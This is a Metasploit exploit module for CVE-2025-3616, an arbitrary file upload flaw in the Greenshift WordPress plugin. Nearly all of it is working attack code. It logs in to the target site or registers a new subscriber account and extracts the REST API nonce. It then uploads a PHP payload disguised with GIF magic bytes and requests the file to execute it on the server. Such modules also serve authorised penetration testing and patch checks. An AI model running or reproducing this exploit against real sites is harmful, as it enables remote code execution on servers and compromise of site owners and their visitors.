class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Greenshift WordPress Plugin Arbitrary File Upload (CVE-2025-3616)', 'Description' => %q{ This module exploits an arbitrary file upload vulnerability in the Greenshift WordPress plugin versions 11.4 through 11.4.5. The vulnerability allows authenticated users (Subscriber level or higher) to upload arbitrary files via the 'gspb_make_proxy_api_request' function in the REST API. The vulnerability exists because the plugin checks the MIME type using 'finfo_file' but trusts the file extension provided by the user. By adding GIF magic bytes (GIF89a;) to a PHP file, an attacker can bypass the check and upload an executable PHP webshell. The upload requires a valid 'wp_rest' nonce, which this module extracts from the WordPress dashboard after authentication. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nizar', ], 'References' => [ ['CVE', '2025-3616'], ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/greenshift-query-and-post-blocks/greenshift-animation-and-page-builder-blocks-1140-1145-arbitrary-file-upload'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['WordPress Greenshift Plugin < 11.4.6', {}] ], 'DisclosureDate' => '2025-04-29', 'DefaultTarget' => 0 ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the WordPress installation', '/']), OptString.new('USERNAME', [false, 'The username to authenticate as (generated if registering)', '']), OptString.new('PASSWORD', [false, 'The password to authenticate with', '']), OptBool.new('REGISTER', [false, 'Register a new user to exploit', false]), OptString.new('EMAIL', [false, 'Email for registration (random if empty)', '']) ] ) end def check readme_uri = normalize_uri(target_uri.path, 'wp-content/plugins/greenshift-animation-and-page-builder-blocks/readme.txt') res = send_request_cgi( 'method' => 'GET', 'uri' => readme_uri ) if res && res.code == 200 version = res.body.scan(/Stable tag: ([\d\.]+)/).flatten.first if version && Rex::Version.new(version) >= Rex::Version.new('11.4') && Rex::Version.new(version) < Rex::Version.new('11.4.6') return Exploit::CheckCode::Appears elsif version vprint_status("Detected version: #{version}") return Exploit::CheckCode::Safe end end return Exploit::CheckCode::Unknown end def get_nonce(cookie_jar) print_status('Extracting REST API nonce from admin interface...') uri = normalize_uri(target_uri.path, 'wp-admin/post-new.php') res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => cookie_jar ) nonce = nil if res && res.code == 200 if res.body =~ /wpApiSettings\s*=\s*{.*?"nonce":"([a-f0-9]{10})"/m nonce = $1 elsif res.body =~ /"nonce":"([a-f0-9]{10})"/ nonce = $1 end end nonce end def wp_login(user, pass) print_status("Authenticating as #{user}...") login_uri = normalize_uri(target_uri.path, 'wp-login.php') res = send_request_cgi( 'method' => 'POST', 'uri' => login_uri, 'vars_post' => { 'log' => user, 'pwd' => pass, 'wp-submit' => 'Log In', 'testcookie' => '1', 'redirect_to' => normalize_uri(target_uri.path, 'wp-admin/') } ) if res && (res.code == 302 || res.code == 200) && res.get_cookies.include?('wordpress_logged_in') print_good("Authenticated successfully") return res.get_cookies else return nil end end def wp_register(user, email) print_status("Registering new account for #{user} (#{email})...") register_uri = normalize_uri(target_uri.path, 'wp-login.php') res = send_request_cgi( 'method' => 'POST', 'uri' => register_uri, 'vars_get' => { 'action' => 'register' }, 'vars_post' => { 'user_login' => user, 'user_email' => email, 'wp-submit' => 'Register' } ) if res && (res.code == 302 || res.code == 200) && res.get_cookies.include?('wordpress_logged_in') print_good("Registration successful - Cookies received!") return res.get_cookies else return nil end end def exploit cookies = nil if datastore['REGISTER'] user = datastore['USERNAME'].blank? ? Rex::Text.rand_text_alpha(8) : datastore['USERNAME'] email = datastore['EMAIL'].blank? ? "#{user}@local.test" : datastore['EMAIL'] cookies = wp_register(user, email) fail_with(Failure::NoAccess, 'Registration failed (no cookies received)') unless cookies else fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required when REGISTER is false') if datastore['USERNAME'].blank? || datastore['PASSWORD'].blank? cookies = wp_login(datastore['USERNAME'], datastore['PASSWORD']) fail_with(Failure::NoAccess, 'Authentication failed') unless cookies end nonce = get_nonce(cookies) fail_with(Failure::UnexpectedReply, 'Could not retrieve WP REST API nonce') unless nonce print_good("Found nonce: #{nonce}") gif_header = "GIF89a;\n" php_payload = gif_header + payload.encoded filename = Rex::Text.rand_text_alpha(8) + '.php' print_status("Uploading payload #{filename}...") mime_data = Rex::MIME::Message.new mime_data.add_part(php_payload, 'image/gif', nil, "form-data; name=\"file\"; filename=\"#{filename}\"") mime_data.add_part('media_upload', nil, nil, 'form-data; name="type"') exploit_uri = normalize_uri(target_uri.path, 'wp-json/greenshift/v1/proxy-api') res = send_request_cgi( 'method' => 'POST', 'uri' => exploit_uri, 'ctype' => "multipart/form-data; boundary=#{mime_data.bound}", 'data' => mime_data.to_s, 'headers' => { 'X-WP-Nonce' => nonce }, 'cookie' => cookies ) shell_url = nil if res && res.code == 200 json = res.get_json_document if json['success'] && json['file_url'] shell_url = json['file_url'] print_good("File uploaded successfully: #{shell_url}") register_file_for_cleanup(filename) else print_error("JSON response did not indicate success or missing file_url: #{res.body}") end else print_error("Upload failed with code #{res.code} if response received") if res print_error("Body: #{res.body}") end end fail_with(Failure::Unknown, 'Failed to extract shell URL from response') unless shell_url print_status("Triggering payload at #{shell_url}...") send_request_cgi( 'method' => 'GET', 'uri' => shell_url ) end end